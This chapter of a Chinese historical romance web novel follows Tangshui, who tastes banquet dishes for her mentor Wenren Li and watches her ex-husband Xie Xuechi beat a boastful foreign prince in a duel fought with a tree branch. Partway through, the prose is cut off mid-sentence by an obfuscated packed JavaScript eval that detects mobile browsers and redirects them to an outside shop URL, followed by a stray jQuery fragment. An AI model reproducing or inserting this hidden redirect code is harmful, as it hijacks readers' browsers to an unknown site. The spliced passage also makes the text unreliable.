棠水今晚做了许多好吃的,她在饭馆做工时就是跟着掌勺师父学厨艺,后边还做过厨娘养活自己。
后来她虽然三年不曾下厨,但做饭就像凫水一样,是学会了就不会忘记的技能,她现在做饭,还是很有当年的水准。
公孙珊和丫鬟们一起给她打完下手,此时在桌前这个吃一口,那个也尝一口。
棠水回厨房做个雪泡梅花酒的功夫,闻人俪来了。
她抬手,问:“这是什么?”
“茶酥饼,”公孙珊道,“这些全都是棠水做的,可好吃了,俪娘,来一个吗?”
俪娘这个称呼是有来由的。
她们三个学生从不称闻人俪为老师,因为闻人俪不许。
她讨厌繁文缛节,一向将长幼尊卑天地君亲师之类的礼节视作尘土,认为它们只配被她踩在脚底下。
所以闻人俪让她们直呼她的名字。
但直接一口一个闻人俪地叫她,她们不敢,最后棠水提议以俪娘称呼她。
虽然这么叫,过分亲热了,但总比直接叫她名字好。
闻人俪看那饼一眼,拿起一个塞进嘴里。
公孙珊看她咔嚓咔嚓地吃完,看她伸手再拿了一个,一个,又一个。
然后她把整盘端到自己面前开始吃。
公孙珊:“?”
闻人俪吃独食吃得很坦然,她做什么事都是这样理所当然。
棠水端着刚出锅的酥油鲍螺出来,闻人俪的筷子迅猛地从盘中劫走一块。
她几口吃完,咬着筷子道:“这味道和福满楼的有八分相似。”
“俪娘,你舌头真灵。”棠水笑了,“我就是尝过福满楼的这一道,才按着它的做法做的。”
闻人俪:“你弄到了他们家的配方?”
棠水摇头:“那是他们的独家秘方,我弄不着,只是我尝过,记住了那个味道,试验几次,还原出六七分而已。”
闻人俪若有所思地望着她,棠水和她四目相对,不知道她为何这样看着她。
但三日后,棠水明白了闻人俪那个眼神的含义。
闻人俪说要带她去承晖夜宴,让她尝一尝那里的几道菜,给她复原一模一样的出来。
她曾在显王的宴席上吃到了十分合心意的食物,但显王不肯将配方交给她,只以此为诱饵,屡屡单独邀请她过府做客。
只因显王想招揽她到手下,但闻人俪随心随意惯了,只肯骑在别人头上,从不肯受人驱使。
她又是别国的子民,只是周游列国,暂时在昭国停留一两年罢了。
异国之人不能在本国做官,显王便是想用高官厚禄引诱闻人俪都不行,只能死死捂住那几道菜的方子,偶尔请闻人俪帮她解决些棘手之事。
她再款待闻人俪数次,以此报答闻人俪。
棠水觉得这俩人也挺奇特的,整件事听起来有一种老谋深算的单纯。
就像两头猛虎比划了半天,战利品就是一份只够塞牙缝的秘制烤鹿肉。
承晖园里,侍人引着闻人俪与棠水朝她们的位置走去。
一路上好几名宾客探究地看着棠水。
他们刚要和同伴议论她那档子事,却看见她身前的闻人俪,目光顿时像迸溅的火星子一般弹开了。
他们不知道无闻的真名叫闻人俪,却都认识她这张桀骜张扬的脸,知道这人就是无闻。
人人都有秘密,而无闻最擅长的就是从细微之处挖掘别人的阴私,就连显王想招揽她招揽不到,也仍旧对她十分客气。
他们若不想惹麻烦,还是不要八卦到无闻身边的人为好。
棠水察觉到他们态度的变化,顿时有一种狐假虎威的感觉。
她悄悄地快走几步,离闻人俪再近一点。
闻人俪看她像只金丝鼠一样小心贴近,她脚下一顿,原本迈得很大的步子渐渐放慢,跟棠水并肩同行。
————
两人入座,今日的宴席不同于往日,乃是为了招待大越国的来使才举办的。
但这些都与棠水无关,她就是来好好品尝菜肴,完成闻人俪的托付的。
棠水感激闻人俪看中她,接纳了她,对待她与对待棠韶、公孙珊没有任何区别。
如今能有机会报答闻人俪,棠水有点激动,在心里对自己说了几句鼓气的话,一定要好好表现。
恰在这时,侍女们提着篮子,开始给宾客分发月舍花。
传闻月舍花只生长在福泽之地,所以这花的意头很好。
分到的花花苞越大,就代表来年越有福气。
棠水知道这个传闻,她看了看两人分到的花,立刻开心起来:“俪娘,我们的花花盘都很大。”
这说明她们都是很有福气的人。
闻人俪看着她惊喜的模样,勾了勾嘴角。
这么容易就高兴,还是个小姑娘呢。
棠水刚将两人的花瓣摆弄好,不远处却起了一阵轻微的骚动。
似是有大人物到场,前边的人纷纷起身相迎。
棠水望过去,看见一片如云的衣角拂开朦胧树影。
她顺着这片衣角往上看,谢雪迟的脸出现在她视线里,是今夜满园明灯、繁花玉树都压不过的俊美样貌。
众人皆看着他,目光有敬有畏,甚至还有一闪而过的恨意,恨他年纪轻轻便大权在握,翻手为云覆手雨,还偏偏要做一副世外谪仙人的模样。
棠水则低下头,怕他看见她在看他,也怕他看她时,与看其他人无异。
闻人俪一直旁观着这两人,直到谢雪迟等人落座,闻人俪才收回眼神。
棠水和她前夫,一个低头装死,另一个扫视全场,目光经过棠水时也毫无波澜。
看来是断得很干净,至少谢雪迟是铁了心要和棠水再无关系。
————
开宴后,棠水将自己案前的菜一道道吃过去,时不时用炭笔在小手折上写下她对用料与步骤的猜想。
她将所有心事按捺下去,再怎么样也不能耽误闻人俪的正事。
闻人俪正吃着,忽然含糊道:“今日有热闹瞧了。”
棠水抬头,顺着闻人俪示意的方向,看向座席最前边的人。
那人也是使臣团中的一员,衣着饰物比旁人都要华美。
闻人俪道:“那是赫连铎,大越国皇子,生平爱剑成痴,最爱找人比试……”
闻人俪长话短说。
赫连铎有个规矩,比试输给他的人,要么横剑自裁,要么从此放弃剑者的身份活下去。
若是赢了赫连铎,别以为自己就比输给他的人幸运多少。
因为赫连铎一输,就会被激出好胜心,一日能寻你比试三回。
不管你是在做工、进学、吃饭、或是沐浴,他都要你停下手头的一切事务,与他比试。
若是不从,他带来的一大帮侍卫会让你不得不改变主意。
人又不是时时都在状态,比试一百回,只要有一回输了,赫连铎就会视你为手下败将。
要你交出自己练的功法,而后再让你选择是自裁,还是从此弃剑不用。
所有被赫连铎打败的人的名字都会被他的随从记在册子上,因他打败的人太多,这册子也被称作千人册。
这种上进的恶霸,若不是命好,投胎成皇子,早被人围起来打死了。
棠水听完,点点头表示自己在听。
她挺喜欢看热闹的,但是喜欢走远点看,以免波及到她。
她头才点了一下,赫连铎站了起来,朝着对面案后的涂黎冬道:
“涂少令,我听说过你。京中尽是庸人,但你或许有资格做我的对手。”
棠水无语,好狂妄的人,涂黎冬最讨厌有人在她面前耀武扬威,大越国的国力弱于昭国,但赫连铎毕竟是皇子,涂黎冬不好像打发其他人一样打发他。
她有些担心,往涂黎冬那边看一眼,果然涂黎冬是一脸吃到烂果子还要忍住的表情。
赫连铎还在邀请她,一起到承晖台上较量一番。
涂黎冬道:“皇子太抬举我了,我剑术并未有多少出奇,前日与几位同僚比试时,还伤着手腕了。”
赫连铎并不相信她的说辞,不解道:“只是与你比试一下罢了,你们昭国人竟瑟瑟至此,连与我比划都不敢。”
涂黎冬捏紧拳头,她的手腕是真受伤了,不然早给这头长脸蠢驴两下子。
赫连铎看她不敢应战,道:“既然不敢,那便视作你认输,我将你的名字记作我的手下败将,可以吧。”
赫连铎像是有商有量地问她意见,下一刻便抬手,让人在册子上记下涂黎冬的名字。
涂黎冬额角青筋暴跳,心一横,按上剑柄。
她认他爷爷个腿。
一片袖角遮住了涂黎冬的视线,是谢雪迟在她前面挡了一下,阻止她与赫连铎动手。
“师妹的手受伤了,皇子既有兴致比剑,不如由我代劳。”
“你?你也用剑?”
谢雪迟只笑不语,但他笑得从容,叫人以为这答案是肯定的。
赫连铎来了兴趣,他身旁的其他使臣想劝阻他,他却已经一跃跳上承晖台,招呼道:“来吧。”
谢雪迟在身后的树上折下一截树枝,抖落了上面覆着的雪,以此为剑。
赫连铎皱眉,只觉谢雪迟没拿这比试当回事,他长这么大,还从没人这样轻视过。
他决意速战速决,让对手知晓,轻敌是他面对赫连铎时最不该犯的错误。
然而赫连铎的剑与树枝刚一相触,他就觉不好。
他无论是平剑横抹,还是沉腕直刺,亦或是剑尖疾速点落数十下,全都没有用,因为所有招数都被那截光秃秃的树枝别住。
他想将自己的剑抽出来,却发现自己像刚学剑时一样,根本控制不好自己的剑。
他的剑势被压制,反过来跟着谢雪迟走。
赫连铎面色骤变,如今已不是他在用剑,而是这根树枝在借他的剑剔去自己多余的部分。
赫连铎咬牙,无神再多想,只能凭剑者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583512|205154||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的本能,数着过了多少剑。
除此以外,他什么都做不了。
三十剑后,赫连铎的剑终于被挑开,他的手臂瞬间垂落下去,麻得仿佛不是自己的。
而那根粗陋的木枝被这三十剑修成了一枝修长的海棠花,又似一把嶙峋长剑,遥遥指着他的咽喉。
谢雪迟反手一转,以这支花剑横扫。
风乍起,花枝上的雪被尽数拂落,枝头的花却未有一朵被这阵剑风吹落。
他含笑道:“沐花节快到了,那一日京中百姓都会合家一同赏花,昭越两国和睦通好,今日便也请越国使臣一同看一场花吧。”
漫天雪絮飘落,各色鲜花露出原本的样貌,园中景色焕然一新,所有人都被这景象吸引住,纷纷伸手接飘落下的雪。
笑语声回荡开来,方才因赫连铎的挑衅而变了味的气氛也融洽了起来。
赫连铎仍在承晖台上,深受震撼。
原来剑招还能用成这样。
原来世上还有人拥有如此精准的把控能力。
多年几乎立于不败之地累积下的骄傲轰然倒塌,他崩溃,心中却也豁然开朗,似有所悟。
他再也不管使臣团的众人,赶紧离开,去细细领悟这一刻的感受,待他体会出来,他的剑术必有突破。
闻人俪猛然咽下口中的桃肉,她将果核往案上一拍,直接将果核整个摁进了里面。
她昂起头,问:“棠水,依你所见,我与谢雪迟谁更厉害?”
棠水想了想,道:“你是用刀的,他不是,没法比较。”
闻人俪对这答案并不满意,她躁动地搓了搓手指,想要找个人动手。
早知当年她刚开始习武时,应当刀剑一起练,如此便能与谢雪迟一较高低。
打败值得打败的对手,总是能让她心情愉悦。
棠水看闻人俪对这一招很感兴趣的样子,说:“这一招我也会,但是我用得不是很好,俪娘你不介意的话,回去我练给你看。”
“嗯?”闻人俪立刻直起身,“我不介意,你回去就教我。”
棠水点点头,她也只会这一招。
谢雪迟这一招就是因她而创的。
那一年她和谢雪迟还没成婚。
她想看月舍花,可是等父亲给她们讲完课,放她们几个离开时,淡粉色的花已经被一整日的落雪盖得看不见什么了。
谢雪迟看她失落,便琢磨出这么一招,既能将雪清理干净,又不至于把花都吹离了枝头。
夜里,他把她从府里偷偷接出来,带去悬星山。
他从不用剑,故而以花枝代替剑,在月下做剑舞,让她看了记忆里最美的一次花。
后来她想学这一招,因为看起来好有格调。
谢雪迟没有因为她不会武而说她学不了。
他将这一招的每一步都尽量简化,还专门定了一把特制的剑,确保没有武学根基的人也能用这把剑做出回风拂雪的效果。
棠水学成以后,比划给涂黎冬看,涂黎冬给她拍手叫好。
谢雪迟在一旁用柔软的枝条做了顶花冠,戴在她的头上。
棠水得意得要变出条尾巴翘起来。
她喜欢被人夸奖,那种被认可和被喜爱的感觉,让她觉得很幸福。
她努力抿嘴,想矜持一点,但是因为很开心,没有绷住,很快咧出整排牙。
谢雪迟看着她,忽而也笑了。
他笑时,如月照千江,明晃晃的,让她的心都跟着明亮起来。
他伸手贴了贴她的面颊,问她:“冷吗?”
“不冷。”棠水很兴奋,身上还有点热呢。
谢雪迟却仍是把她揽过来抱着。
棠水晃晃他,抬头和他说:“我方才说不冷。”
“嗯,是我听错了。”他这样说着,将她抱得更紧一些。
…………
棠水默默喝完一壶果酒,或许正是因为他对她太好,给了她太多美好的回忆,她现在才会这样痛苦。
她胸口憋闷,起身到人少点的地方透口气。
她捧着月舍花一起离席,闻到花香,心里也会好受一点。
棠水顺着一片红色的花丛往前走,前边是一座木桥,她踏上去,桥弯弯的,像卧倒的月亮。
下面有水声传来,棠水向下看去,料想被灯火照亮的水面一定很美。
然而比起那一条潺潺的流水,她更先看见的是水边树下的人。
谢雪迟独自站在那里,肩上还落了两片花瓣。
棠水顿时愣住。
身后有人说笑着经过,棠水被她们不轻不重地撞了一下,人没有事,手上的月舍花却没有拿稳。
它幽幽地下落。
谢雪迟便在这时抬起头,他望向那朵月舍花,也望向棠水。
在月舍花即将落到他肩头的前一刻,他微微侧过身,避开,让那花落入冰凉的湖水中。
花朵顺水而去,他静静看着花离他越来越远,还未等到它彻底不见,他已经转身离去。